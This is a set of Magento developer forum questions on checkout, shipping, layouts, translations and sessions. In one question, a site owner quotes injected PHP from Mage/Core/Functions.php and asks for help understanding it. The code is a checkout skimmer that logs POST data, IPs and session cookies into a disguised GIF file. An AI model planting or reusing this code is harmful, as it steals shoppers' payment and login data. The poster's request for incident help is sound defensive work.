texts: A clear and good way to add custom fields to billing information

texts: I have tried to search for direct information about how to add custom fields to my billing information checkout. Whatever page I visit, it tells me to buy an extension or it describes steps to implement it manually but nothing helped me yet. Is there a clear way to add or edit custom fields in the billing information with descriptions? Please help me out with this.


texts: Mage 1.9 : Display loading message while custom function is processing

texts:
I have a custom module that, before renders any layout, does different requests to external APIs, stores data in db, then, when done, redirect to another controller method. The process can take time and it's supposed to be transparent for customer.
i would like to display a loading message/gif, whatever, instead of a blank page.
How can i do that?


texts: How to display the selected attribute option in Filtered results page in magento

texts:
I have displayed the Layered Navigation for my site ,when i choose the price filter it is showing the results within the range i have selected but the price filter option is not displayed in the filtered results page.

How to display the selected filter option in Filtered results page.

Please Suggest!.


texts:
I found that my "Mage/Core/Functions.php" file has been modified.

This file has this new line of codes:

if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
    $ARINFO = $_POST;
    $ARINFO['date'] = $_SERVER['REQUEST_TIME'];
    $ARINFO['ip'] = $_SERVER['REMOTE_ADDR'];
    $ARINFO['url'] = $_SERVER['REQUEST_URI'];
    if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend'];
    if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'simplecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onepagecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout')))
    {
        $log_entry =  base64_encode(serialize($ARINFO)) . "\n";
        file_put_contents('/var/www/html/media/catalog/product/placeholder/default/no_image_2.gif', $log_entry, FILE_APPEND|LOCK_EX);
    }
}

if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f'))
{
    file_put_contents('/var/www/html/media/catalog/product/placeholder/default/no_image_2.gif', "GIF\n");
}

It looks like site has been compromised.

Can anyone tell me what this code is doing? Please help.

What I am trying to find?

Know how this code was entered, (from server)
What can I do now?


texts: Migrating production server to dev (only the sql data) site errors

texts:
Im struggling to get a dev\backup of our production site to a local server as a backup. I cant rsync because of access limitations to the production server but I have backed up the mysql data and imported it to the new site. I have run the update query to change the url's but I cant for the life of my get the site or admin panel to work. The error indicates a theme which was used in the production which Im not using in de (although Im sure Ive reset this within the mysql tables). The error is
[2020-08-25 08:42:46] main.CRITICAL: Required parameter 'theme_dir' was not passed {"report_id":"7985f88bee792eea8898ef7346de1bf76131b11475ed07909169a673bd960486","exception":"[object] (InvalidArgumentException(code: 0): Required parameter 'theme_dir' was not passed at /var/www/html/magento2/lib/internal/Magento/Framework/View/Design/Fallback/Rule/Simple.php:61)"} []
Any ideas how to sort this?
Thanks


texts: disable or remove foreign keys during upgrade

texts:
During upgrade from v1.5.1.0 to v1.6.0 it is trying to drop a key but can't because of a foreign key.

relevant lines in update script

$installer->getConnection()->dropIndex(
    $installer->getTable('core/store'),
    'FK_STORE_WEBSITE'
);

I see in the code for lib/Varien/Db/Adapter/Pdo/Mysql.php

public function startSetup()
{
    $this->raw_query("SET SQL_MODE=''");
    $this->raw_query("SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0");
    $this->raw_query("SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'");

    return $this;
}

but obviously it doesn't work.

I placed $installer->getConnection()->raw_query("SET FOREIGN_KEY_CHECKS=0;"); right before the relevant query to alter the table, but it has no useful effect.

I then made and ran a script to drop all foreign keys from the magento database.  I confirmed that the foreign key is gone before starting the upgrade, but after starting the upgrade the foreign keys get added back in and start causing problems again.

So how do I properly disable foreign key checks or prevent the foreign keys from being added back in?


texts: Magento Remove the tab in customer edit page

texts: Here I attached the picture showing what I'd like to remove (shopping cart tab in the customer admin page).


texts: Admin ui form category tree population issue

texts:
I've got an admin ui form with category tree field

https://github.com/DominicWatts/Announce/blob/429e2f6228b5911f261df6f6855d76913c934f9a/view/adminhtml/ui_component/xigen_announce_group_form.xml#L159-L189

        <field name="category" component="Magento_Catalog/js/components/new-category" sortOrder="60" formElement="select">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="filterOptions" xsi:type="boolean">true</item>
                    <item name="multiple" xsi:type="boolean">true</item>
                    <item name="showCheckbox" xsi:type="boolean">true</item>
                    <item name="disableLabel" xsi:type="boolean">true</item>
                    <item name="levelsVisibility" xsi:type="number">1</item>
                </item>
            </argument>
            <settings>
                <required>false</required>
                <validation>
                    <rule name="required-entry" xsi:type="boolean">false</rule>
                </validation>
                <elementTmpl>ui/grid/filters/elements/ui-select</elementTmpl>
                <label translate="true">Category</label>
                <dataScope>category</dataScope>
                <componentType>field</componentType>
                <listens>
                    <link name="${ $.namespace }.${ $.namespace }:responseData">setParsed</link>
                </listens>
            </settings>
            <formElements>
                <select>
                    <settings>
                        <options class="Magento\Catalog\Ui\Component\Product\Form\Categories\Options"/>
                    </settings>
                </select>
            </formElements>
        </field>

I've got the field populating and data is saving correctly

The remaining issue is that the field appears blank on load

But sorts itself out when you click

I've missed a step. Any ideas?


texts: How to edit "Bank Transaction Fee" total title

texts:
I am trying to edit the name of "bank transaction fee" to "handling fee" but I cant find the word "bank transaction fee" in the template. Where can I edit this word?

This is the code for that but I dont know where is the path

<?php $_colspan = $this->helper('tax')->displayCartBothPrices() ? 3 : 2; ?>

<?php echo $this->renderTotals(null, $_colspan); ?>


texts: How to Refresh watermarked images on magento 2?

texts:
I have removed the watermark from the admin section but the images are not being refresh as normal?

IS it perhaps a permissions error?


texts: Can't create order in back end! Google couldn't help

texts:
I was just testing a new extension, and was trying to create an order and when I click on shipping method, nothing comes up. So I assumed it was the problem of the extension so I deactivate it in xml under the modules folder and disable it in Advanced under configuration. I even tried to uninstall it and disable other extension as well, but it still does the same thing, when I refresh the Create New Order page, an error message shows up under the shipping method section. Everything works fine on the front end

Fatal error: Call to a member function setTemplate() on a non-object in /home/content/76/11974576/html/app/design/adminhtml/default/default/template/sales/order/create/shipping/method/form.phtml on line 67

Much appreciated if anyone can help, this is driving me crazy!

Please click here to see the back end error


texts: How to move  sku and instock to down to price in product details page,by default it is coming right side of price but i want it after price


texts: How to change order of shipping address in magento 2?

texts: I want to change the order of shipping address like "name" , "last name" , "address" how will i do it in magento 2 admin panel.


texts:
I want to add a checkbox in the checkout for customer to click if they want an extra service and if they click, an extra fixed fee must be added to the subtotal.

How can I add the fixed fee when the customer select the checkbox?

I found the github reference https://github.com/magentix/Fee

but I couldn't manage to implement the click event and adding the fee

Thanks


texts: Magento 2.1 How to apply validation to custom credit card form?

texts:
I have created my credit card form.
Then when I will click on Place Order button

            <button class="action primary checkout"
                    type="submit"
                    data-bind="
                    click: placeOrderClick,
                    attr: {title: $t('Place Order')}
                    ">

            </button>

placeOrderClick function which is written inside
/view/frontend/web/js/view/payment/method-renderer/custom-method.js
file is not called.
And also please tell me how to validate credit card form.


texts: M2 - How to restrict magento default class is picking bootstrap css in custom theme?

texts:
I am using bootstrap for home page cms blocks responsive purpose,
declared in app\design\frontend\zero_theme\theme\Magento_Theme\layout\default_head_blocks.xml
Its affect my PDP image size, description section, relevant products alignment, how to handle this situation?
I need bootstrap for responsive design, but its affect my default magento alignment in custom theme?


texts:
Magento Experts, I need a Shipping implement but I don't understand how can I do this. Site source country Sweden. Shipping requirements below--

United States

Standard: $12 – 2-5 working days (Free over $450).

Express: $30 – 1-3 working days

European Union

Standard: €10 – 2-5 working days (Free over €350).

Express: €22 – 1-3 working days

United Kingdom

Standard: £9 – 2-5 working days (Free over £305).

Express: £20 – 1-3 working days

Sweden

PostNord: 65 SEK – 1-3 working days (Free over 1500 SEK)

Rest of the world

Standard: €14 – 3-7 working days (Free over €350).

Express: €30 – 2-4 working days

Please give me a good suggestion.

Thanks.


texts: How can I load a product attribute from its flat table into a product object?

texts:
So I created a custom attribute, shipping, which is a drop down menu taking on three possible values. In its attribute settings I set the field Used in Product Listing to 'Yes', did a reindexation, and now it is correctly added in the products' flat table catalog_product_flat_1 such that I have the attribute_id field called shipping and its value shipping_value.

Now in the frontend product page (view) I am trying to access the value of shipping_value but only shipping (the id of the attribute) is loaded in my current product - so it doesn't work..

It looks like Magento only loads a subset of the flat table columns into the product object. But I can't find where this is defined.

How can I load my flat table column shipping_value + value into my product so I can use it in my frontend view?

Edit: I want to avoid doing another database lookup on the product view page. I'd like to just access the data like $product->getShippingValue().


texts: Configuration values are not updated after change the custom admin path in Magento 1.14.2.4

texts:
I have change the custom admin path as "backend" in Magento admin version 1.14.2.4. After that, I able to logged into the admin.

But I have  try to update the config values. it is not stored in databases.


texts: How to create custom shipping method for the Cash On deliver Eligible Payment method

texts: I want to create custom shipping method with custom price shipping method and it will be show if the customer will eligible to the cash on delivery, if the customer will not eligible for cash on delivery then that custom shipping method should be not display in frontend , how can i achieve that in magento2?


texts: Application execution path of catalog product listing page

texts:
I am looking into the application flow to see how the products are getting rendered on a product listing page.

url : catalog/category/view/id/6

In viewAction, there is this line

$update->addHandle('CATEGORY_' . $category->getId());

means CATEGORY_6 in my case.

Now, where is this block in Layout.xml(I know it's dynamic) but what this handle does? So that I can check what blocks it is rendering.


texts: How to using instafeed in magento 2 with requirejs?

texts:
I create module to show instagram photos here my view->frontend :

frontend--/
    |layout--/
    |     cms_index_index.xml
    |     default.xml
    |
    |templates--/
    |     instafeed.phtml
    |
    |web--/
    |     js--/
    |        instafeed.min.js
    |        main.js
    |
    |requirejs-config.js

requirejs-config.js

var config = {
"paths":
{
    "insta": "Test_Instafeed/js/instafeed.min",
    "instaMain": "Test_Instafeed/js/main",
}};

main.js

    require(["insta"], function(){
        (function ($)
        {
             var feed = new Instafeed({
                get: 'tagged',
                tagName:  'awesome',
                clientId: 'xxxxxxxxxxxxxxx',
                resolution: 'low_resolution',
                limit: '32',
              });
        });
   });
   feed.run();

instafeed.phtml

<?php echo $block->getTitle(); ?>

But I always get error :

Uncaught Error: Mismatched anonymous define() module: function (){return e}
http://requirejs.org/docs/errors.html#mismatch

Uncaught Error: Mismatched anonymous define() module: function ()
{
    feed.run();
}

I'm getting confuse with this, if anybody can help me, I will appreciate :)


texts: Multiple shopping cart discounts based on subtotal

texts:
I have set up multiple shopping cart promotion rules and sometimes, more than one rule is applied. What I want is that all discount rates are applied to subtotal and not one after the other.

Example:

Shopping cart rule of 10% discount for orders with subtotal greater than $50.
Coupon code for 10% discount.

When I have a product of $100 in my shopping cart and enter coupon, both rules are applied. What happens: first 10% discount is applied: $100 - $10 = $90. After this, second 10% discount is applied: $90 - $9 = $81.

What I want is both 10% discount based on subtotal: $100 - $10 - $10 = $80.

I've tried setting equal priorities, but this doesn't work.
Anyone knows how to fix this?


texts: Magento 1.9 - Translate text in php file

texts:
How I can translate this text in a php file, I want to translate $message

  if (!$this->_getSession()->getNoCartRedirect(true)) {
            if (!$cart->getQuote()->getHasError()) {
                $notifysymbol = "";
                $message = $this->__('
%s
 Product added to cart
 Go to the checkout to complete your purchase or add more products

',$notifysymbol);
                $this->_getSession()->addSuccess($message);
            }
            $this->_goBack();
        }

and this is the text in the Custom field:

%s
 Product added to cart
 Go to the checkout to complete your purchase or add more products

The text is the core_translate table too


texts: Custom Admin Layouts not working after database move

texts:
Moved database from "production" server to development, all code is the same.  Custom layouts for adminhtml stopped firing, get just a header and footer, content in the middle not being loaded. When I switch local.xml back to the original database, everything works.  Is there anything in the database that might be preventing this from firing? cleared cache, compile and all else I could think of. Grids and standard admin pages work as expected. No errors in any of the logs.

Config.xml

<adminhtml>
    <layout>
        <updates>
            <hubco_pu>
                <file>hubco_pu.xml</file>
            </hubco_pu>
        </updates>
    </layout>
    <acl>
        <resources>
            <admin>
                <children>
                    <system>
                        <children>
                            <config>
                                <children>
                                    <pu_options>
                                        <title>WPS Config Options</title>
                                    </pu_options>
                                </children>
                            </config>
                        </children>
                    </system>
                </children>
            </admin>
        </resources>
    </acl>
</adminhtml>

hubco_pu.xml

   <?xml version="1.0" ?>
<layout version="0.1.0">
    <hubco_pu_admin_manual_index>
        <reference name="content">
            <block type="hubco_pu/manual" name="index" template="hubco/pu/manual.phtml" />
        </reference>
    </hubco_pu_admin_manual_index>
</layout>

Controller file:

    class HubCo_Pu_Adminhtml_ManualController
    extends Mage_Adminhtml_Controller_Action
{

    public function indexAction()
    {
        $this->loadLayout();
        $this->renderLayout();
    }

Block class:

class HubCo_PU_Block_Manual
    extends Mage_Core_Block_Template
{
  function HubCo_PU_Block_Manual() {

    include '/var/www/elmagento/app/design/adminhtml/default/default/template/hubco/pu/manual.phtml';
  }
  protected function getHello() {
    return "Hello world!";
  }

  public function getCreateUrl($url, $parameters = array())
  {
    /**
     * Generate the URL for the action we want.
     */
    return Mage::helper("adminhtml")->getUrl($url,$parameters);
  }
}

This displays the phtml file on top of all else in the page using the include (so the file is accessible by the server).  For some reason the layout XML is not being processed correctly, I checked and the Action Name is correct.

Any help would be appreciated.


texts:
I'm a bit lost regarding the Magento 2 extension attributes. It's clear they offer a flexible way to extend the API/interfaces with your own attributes, but what I don't get is how to save the value to a custom database. If I look at the documentation at http://devdocs.magento.com/guides/v2.0/extension-dev-guide/attributes.html it would seem like an automatic system is in place to automatically join your data, but it doesn't work. What am I missing to actually save and get the values?

I'm trying to add a new attribute to shipmentItems's. My extension_attributes.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Api/etc/extension_attributes.xsd">
    <extension_attributes for="\Magento\Sales\Model\Order\Shipment\Item">
        <attribute code="imei_codes" type="string">
            <join reference_table="custom_shipment_item" reference_field="item_id" join_on_field="shipment_item_id">
                <field>imei_codes</field>
            </join>
        </attribute>
    </extension_attributes>
</config>

Next in my code I'm saving the custom attribute like this:

$extensionAttributes = $shipmentItem->getExtensionAttributes();
$extensionAttributes->setImeiCodes($imeiCodes[$orderItem->getId()]);
$shipmentItem->setExtensionAttributes($extensionAttributes);
$shipmentItem->save();

My custom database gets installed like this:

$table = $installer->getConnection()
    ->newTable($installer->getTable('custom_shipment_item'))
    ->addColumn(
        'shipment_item_id',
         Table::TYPE_INTEGER,
         null,
         ['primary' => true, 'identity' => true, 'nullable' => false],
         'Primary ID of table'
     )
     ->addColumn(
         'imei_codes',
         Table::TYPE_TEXT,
         null,
         ['nullable' => true],
         'IMEI Codes'
     )
     ->setComment('Custom Extended Shipment item Table');

$installer->getConnection()->createTable($table);

The table is properly installed, but the data is not saved automatically to this table. What do I need in order to have this working? Is this the way to go to save some attribute related to shipment items?

Thank you very mucht for you assistance!


texts: How do I run a SQL query to extract a specific product range?

texts:
I got a probably really simple question but I couldn´t find a solution for now. I found heaps of questions etc. but for now nothing which would be what I need.

I am trying to use a query on magento but I´m wondering how I run the SQL command.

I want to run something like

select substr(sku,1) as sku
.....and so on....

and then I want the result to be written in a .txt file

UPDATE

I want to run the following command

select substr(sku,1) as sku
  from catalog_product_entity
  where sku like 'S%'
  order by sku asc;

and then write that in a .csv or .txt file. Where does the code go and where will the file be? I need a full explanation if possible.


texts: Issue with calling attribute value on product view - Magento 2

texts:
I have two custom product attributes that I'm using in my product page template files. One of them doesn't seem to work and I'm wondering if it's something to do with the attribute code.

The attribute codes are:

small_promo
c2c_height_1

This works:

<?php if ($block->getProduct()->getSmallPromo()): ?>
    <!-- do something -->
<?php endif; ?>

This doesn't work:

<?php if ($block->getProduct()->getC2cHeight1()): ?>
    <!-- do something -->
<?php endif; ?>

Is this bit wrong: getC2cHeight1 ? Is there another method I could try?


texts: How to add a custom column on particular store in sales order grid in M2

texts:
I have added a custom column (PO Number) in sales_order_grid.

Now I have to show that column in particular store when we filter that store that column should appear. Any suggestions on how should I do that.


texts: Hook and modify an email being sent by Magento 2

texts:
I am trying to find a way to modify my email letter content before sending it.
I want to be able to modify any email being sent by Magento.

For instance I need to achieve the following.

Be notified when any email is sent
In case an email is sent to a specific user group do some action
Otherwise leave it without any changes

What is the right way to achieve this?

Thank you


texts: Magento 2. Create customer account programmatically with no password and confirmation required

texts:
Context:

Account Confirmation is set to required from backend.

I'm creating a new customer account using \Magento\Customer\Model\AccountManagementFactory::createAccount() method.

        $email = "jiro@example.com";
        $firstName = "Jiro";
        $lastName = "Ono";

        $customer = $this->customerFactoryData->create();

        $customer->setEmail($email);
        $customer->setFirstname($firstName);
        $customer->setLastname($lastName);

        // Make sure we have a storeId to associate this customer with.
        $storeId = $this->storeManager->getStore()->getId();
        $customer->setStoreId($storeId);

        // Associate website_id with customer
        $websiteId = $this->storeManager->getStore($customer->getStoreId())->getWebsiteId();
        $customer->setWebsiteId($websiteId);

        $this->accountManagement->createAccount($customer);

Problem:

This successfully creates an user account. And send an email to the user to set their password. Problem is that I need confirmation on this client as well, but they are shown in grid as confirmed by default even if the user never sets is password or never opens mail or never enters the website.

I can't seem to find the logic that sets the client as unconfirmed. I suspect is a plugin or an observer.

Any tips or suggestions are highly appreciated. Thanks.

EDIT
https://github.com/magento/magento2/issues/14492


texts: Quote id is empty when inserting multiple records into cart in magento2

texts:
I am adding product to cart from ajax by passing product id

Here is my controller code.

use Magento\Framework\Controller\ResultFactory;
use Magento\Framework\App\Action\Action;
use Magento\Framework\App\Action\Context;
class AddItems extends \Magento\Framework\App\Action\Action
{

protected $formKey;
protected $cart;
protected $product;
protected $_resource;
protected $checkoutSession;

public function __construct(
    \Magento\Framework\App\Action\Context $context,
    \Magento\Framework\Data\Form\FormKey $formKey,
    \Magento\Checkout\Model\Cart $cart,
    \Magento\Catalog\Model\ProductFactory $product,
    \Magento\Framework\App\ResourceConnection $resource,
    \Magento\Checkout\Model\Session $checkoutSession,
    array $data = []
) {
    $this->formKey = $formKey;
    $this->cart = $cart;
    $this->product = $product;
    $this->_resource = $resource;
    $this->checkoutSession = $checkoutSession;
    parent::__construct($context);
}

public function execute()
{
   $selectedItems = $this->getRequest()->getPost('selectedItems');
    $selectedItems = explode(",",$selectedItems);
    try{
    $connection = $this->getConnection();
    foreach ($selectedItems as $key => $selectedItem) {

        $params = array(
            'form_key' => $this->formKey->getFormKey(),
            'product_id' => $selectedItem, //product Id
            'qty'   =>1 //quantity of product
        );
        $_product = $this->product->create()->load($selectedItem);
         $item = $this->cart->getQuote()->getItemByProduct($_product );
        if($item){
            $quote = $this->cart->getQuote();
            $quote->updateItem($item->getId(), array( 'qty' => 1));
            $quote->save();
        }else{
            $this->cart->addProduct($_product , $params);
        }
      $customPrice = 1000;
      $quote = $this->cart->getQuote();
      $quoteId = $quote->getId();
      $productItem = $this->getProductQuote($_product );
      $productItem->setCustomPrice($customPrice);
      $productItem->setOriginalCustomPrice($customPrice);
      $productItem->getProduct()->setIsSuperMode(true);
     $insertProductSql = "INSERT INTO custom_table (quote_id, product_id) VALUES ('$quoteId', '$_product->getId()')";
        $connection->query($insertProductSql);
    }
        $this->cart->save();
        $status = 1;
    } catch (\Magento\Framework\Exception\LocalizedException $e) {
        $this->messageManager->addException($e,__('%1', $e->getMessage()));
        $status = 0;
    } catch (\Exception $e) {
        $this->messageManager->addException($e, __('error.'));
        $status = 0;
    }
    $result = array();
    $result['status'] = $status;
    $resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
    $resultJson->setData($result);
    return $resultJson;
    }
   public function getConnection()
   {
    $connection = $this->_resource->getConnection(\Magento\Framework\App\ResourceConnection::DEFAULT_CONNECTION);
    return $connection;
    }
  public function getProductQuote($product) {
    $quote = $this->checkoutSession->getQuote();
    $cartItems = $quote->getItemByProduct($product);
    return $cartItems;
   }
 }

Quote id is not getting retrieved for me, always it is empty.

I need to add both the items to the cart with insert query for custom table,

products are adding to the cart successfully,but quote id storing as null inside my custom table

Note: I am setting custom price for each product.

Can anyone look into this, where i am wrong please?

Any help would be appreciated. Thanks


texts: How to print sql query for order collection factory in magento 2

texts:
I am trying to print sql query. But it is not printing. Please help

public function __construct(
    \Magento\Framework\View\Element\Template\Context $context,
    \Magento\Customer\Model\SessionFactory $customerSession,
    \Magento\Sales\Model\ResourceModel\Order\CollectionFactory $orderCollectionFactory,
    \Magento\Sales\Model\Order\Config $orderConfig,
    array $data = []
){
    $this->_orderCollectionFactory = $orderCollectionFactory;
    $this->_customerSession = $customerSession;
    $this->_orderConfig = $orderConfig;
    parent::__construct($context, $data);
}
     public function getOrders()
{
     $customer = $this->_customerSession->create();
     $customerId = $customer->getCustomer()->getId();

    if (!($customerId)) {
        return false;
    }
    if (!$this->orders) {
        $this->orders = $this->_orderCollectionFactory->create($customerId)->addFieldToSelect(
            '*'
        )->addFieldToFilter(
            'status',
            ['in' => $this->_orderConfig->getVisibleOnFrontStatuses()]
        )->setOrder(
            'created_at',
            'desc'
        )->setPageSize(1)
          ->setCurPage(1)
           ->load();

    }
    $this->_orderCollectionFactory->printLogQuery(true);


texts: How to create a new email template in a custom module on Magento 1

texts:
I created a new module to overwrite the AddressController.php controller.

Here I make some changes and i receive some data from the customer address form.
What I want to do now is to take all the data and send it via email.

My code for sending mail from controller looks like this:

$templateId = 17;
$emailTemplate = Mage::getModel('core/email_template')->load($templateId);
$mail = Mage::getModel('core/email');
$mail->setToName($customer->getId());

$email_template_variables = array(
   'first' => $first_name,
   'middlename' => $middle_name,
   'lastname' => $last_name,
   'company' => $company,
   'telephone' => $phone,
   'fax' => $fax,
   'street' => $street[],
   'city' => $city,
   'country_id' => $contry,
   'region' => $state
);
$mailSubject = 'Change billing address';
$from_email = "test@gmail.com";
$from_name = "testt";
$processedTemplate = $emailTemplate->getProcessedTemplate($email_template_variables);

$mail = Mage::getModel('core/email');
$mail->setToName('nume');
$mail->setTemplateParam($email_template_variables);
$mail->setToEmail('test@gmail.com');
$mail->setBody($processedTemplate);
$mail->setSubject($mailSubject);
$mail->setFromEmail($from_email);
$mail->setFromName($from_name);
$mail->setType('Html');

try {
    $mail->send();
    Mage::getSingleton('core/session')->addSuccess('Your request has been sent');
} catch (Exception $ex) {
    Mage::getSingleton('core/session')->addError('Unable to send.');
}

Now my question is:

How can I create a new email template in my custom module and send those data?
Because if I try to create a new email template from System > Transactional Email. it asks me to load a existing template. But I don't want this. I want to create a new one in my theme.

Can anybody help me with a solution?


texts: How to translate text in shipping-estimation.html

texts:
I need to translate the text Enter your billing address to get a tax estimate. in vendor\magento\module-checkout\view\frontend\web\template\cart\shipping-estimation.html

It is a text showing in the cart

<form method="post" id="shipping-zip-form">
    <fieldset class="fieldset estimate">
        <legend class="legend">

        </legend>

    </fieldset>
</form>

I added the translation in app\design\frontend\company\base\i18n\de_DE.csv:

"Enter your destination to get a shipping estimate.", "Bitte geben Sie Ihren Ort an um eine Versandkostenschätzung zu erhalten."

and cleared the cache, but nothing changes.


texts: magento 2 javascript certification exam (dump)

texts:
Do they have any dump or test questions for magento2 javascript? I would like to try before going to real exam.
Thank a lot


texts:
Hello everybody,

I want to reorder my top links. For example i just want that Login comes first than my whishlist or my cart. I know there is a position tag to position the toplink, but it does not work.

In my site order is
register mywhishlist mycart logout myaccount.

before login order should be mywhishlist  mycart  login  register myaccount.
after login order should be  mywhishlist  mycart register  logout  myaccount.

Please help me.
Thanks.


texts: I'm unable to use my secure domain for checkout in Magento 2.1.5 . Cart shows as empty

texts:
I have one domain with an SSL certificate (storewebsite.com)
I also have little individual sites for different clients.

teamname.storewebsite.com
schoolname.storewebsite.com
organization.storewebsite.com

In Magento 1.9 all I needed to do was go into the web settings and set

Base_url : http://teamname.storewebsite.com
Secure_base_url : https://storewebsite.com
Use SID on storefront : yes

These settings allowed my customers to shop on their own personal site and then go through checkout on the main domain with an encrypted SSL connection.
Problem : In Magento 2.1.5 when I try to go to checkout and get redirected to the main domain the cart is empty. I can go back to the subdomain and the items show back up.
Question: Does anyone know how I can get my items to keep on existing when going to checkout on the secure domain?


texts: Magento 2 Session is not working with cache on listing page

texts:
Session is not working with magento cache. On product listing page, If I change the limit 9 to 15 it's getting applied. And on other listing page it's setting the limit to 15 as expected. If I go back to previous page, limit is setting 9 instead of 15.

I have written the code as follows,

public function afterGetLimit()
{
    $limit = $this->getValue();

    //Magento\Catalog\Model\Product\ProductList\Toolbar

    if ($this->_toolbarModel->getLimit()) {
        return $this->_toolbarModel->getLimit();
        $this->setValue($this->_toolbarModel->getLimit());
    }
    else{
        return $this->getValue();
    }
}

public function setValue($key){
    //Magento\Framework\Session\SessionManagerInterface
    $this->_session->start();
    $this->_session->setPerPageLimit($key);
}

public function getValue(){
    //Magento\Framework\Session\SessionManagerInterface
    $this->_session->start();
    return $this->_session->getPerPageLimit();
}

I don't really understand what I'm missing. If I disable the cache it's working fine. How to handle this? I would want cache to be enabled.


texts: Destroy specific session data on complete order

texts:
I am using Magento 1.9.

When I want to destroy a specific session in Magento I run this code:

Mage::getSingleton('core/session')->unsPcPayment();

But I want to execute this code when an order is completed.

How can I do this? Where should I put this code?

NOTE: I do not want to destroy this session when the order is paid, I just want to destroy the session when the order is simply received.


texts:
I'm looking for ability to check all data before validation on products import in Magento 2.

I found class Magento\ImportExport\Controller\Adminhtml\Import\Validate but I can't find entry point to see/check/modify WHOLE table (csv file) before it will say Data validation failed. Please fix the following errors and upload the file again.

Magento 2.1.4


texts: Change product type from grouped to configurable

texts:
There are grouped products on an existing shop which I now want to display as configurable products depending on their simple product weight.

The way it works now is also okay but I have a usability issue that users have to figure out where to enter their quantity for the exact weighted product they want to order. For example, if I have a grouped product with simple products that are 100g, 200g, 400g, 800g, 1000g, and they want to order 200g, they have to leave 0 on the quantity box of all other product weights and just 1 (or 2,3 etc.) on the box corresponding to 200g. This would be so much easier if there was a dropdown box with the weight selectable as dropdown and a quantity box next to it which I can achieve with a configurable product setup.

Question: Is there any way this can be achieved programmatically or with an extension or with something on the database?  Any guidance would be appreciated.


texts:
After I implemented the patch SUPEE 10415, checkout cart url /checkout/cart/ got an error, and when I reverted the Patch it now works as expected but I need to implement the patch asap.

Thanks.


texts: Magento 2 : How disable a footer links in luma theme

texts:
I try to disable that's footer links:

have defaulted in luma theme but I not found the configuration to disable that.

How to disable that's link without touch the core files.


texts: M2 Admin javascript error "productType.type is undefined" on product save

texts:
This weird error has been bothering me for a while. Whenever I click Save Product, the please wait gif shows up and keep spinning forever. I looked in the debug console and it says "productType.type is undefined" in 3 lines of code:

In apply-to-type-switcher.js:

if (applyTo.length === 0 || $.inArray(productType.type.current, applyTo) !== -1)...

In downloadable-type-handler.js:

if (productType.type.current === 'downloadable') {

In apply-to-type-switcher.js:

if (applyTo.length === 0 || $.inArray(productType.type.current, applyTo) !== -1)...

Those are apparently javascript errors, but I don't really know what causes this. If there's any further info needed about my project, please ask.


texts:
What is the purpose of validation.xml file in Magento 2? When and where do we use them ?

I see there are couple of validation.xml files in Magento 2 directory.

For example:
vendor/magento/module-customer/etc/validation.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<validation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Validator/etc/validation.xsd">
    <entity name="customer">
        <rules>
            <rule name="check_eav">
                <entity_constraints>
                    <constraint alias="eav_data_validator" class="Magento\Eav\Model\Validator\Attribute\Data" />
                </entity_constraints>
            </rule>
            <rule name="metadata_form_data">
                <entity_constraints>
                    <constraint alias="metadata_data_validator" class="Magento\Customer\Model\Metadata\Validator" />
                </entity_constraints>
            </rule>
        </rules>
        <groups>
            <group name="save">
                <uses>
                    <use rule="check_eav"/>
                </uses>
            </group>
            <group name="form">
                <uses>
                    <use rule="metadata_form_data"/>
                </uses>
            </group>
        </groups>
    </entity>

    <entity name="customer_address">
        <rules>
            <rule name="check_eav">
                <entity_constraints>
                    <constraint alias="eav_data_validator" class="Magento\Eav\Model\Validator\Attribute\Data" />
                </entity_constraints>
            </rule>
        </rules>
        <groups>
            <group name="save">
                <uses>
                    <use rule="check_eav"/>
                </uses>
            </group>
        </groups>
    </entity>
</validation>


texts: Magento 2 : How to load the order success page

texts:
I have worked custom payment and I've received the response from the payment I need to load the success page from my custom controller how can i do it. Whether I need to create own page or can I use core function to load success page in my custom controller is that possible please help me

public function execute()
{

    $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $order = $objectManager->create('\Magento\Sales\Model\Order') ->loadByIncrementId($orderId);
    $orderState = Order::STATE_PROCESSING;
    $order->setState($orderState)->setStatus(Order::STATE_PROCESSING);
    $order->save();
}


texts:
I have a working Ui Component:
component1.js:
define(['UiComponent'], function(Component) {
    return Component.extend({
        defaults: {
            'template': 'template1.html',
            'variable': 'component1'
        })
    }
)

tempate1.html:
Hello

content.phtml:

I want to reuse this component in the same page with different template. E.g.
template2.html:
Another hello

I tried this:

But it is not working. Is that possible? How can I do it? Any help is really appreciated.


texts: I am using magemojo hosting to my magento website they gave me a php error that I need to fix need help

texts:
Magemojo expert gave an error with php file need advice where to start from.

28-Aug-2017 21:59:15 UTC] PHP Fatal error: Uncaught Magento\Framework\Exception\LocalizedException: Invalid Document
Element 'config', attribute 'xsi:noNamespaceSchemaLocation': The attribute 'xsi:noNamespaceSchemaLocation' is not allowed.
Line: 2
in /home/software/public_html/vendor/magento/framework/Config/Reader/Filesystem.php:160
Stack trace:
#0 /home/software/public_html/vendor/magento/framework/Config/Reader/Filesystem.php(127): Magento\Framework\Config\Reader\Filesystem->_readFiles(Object(Magento\Framework\Config\FileIterator))
#1 /home/software/public_html/vendor/magento/framework/App/ObjectManager/ConfigLoader.php(69): Magento\Framework\Config\Reader\Filesystem->read('global')
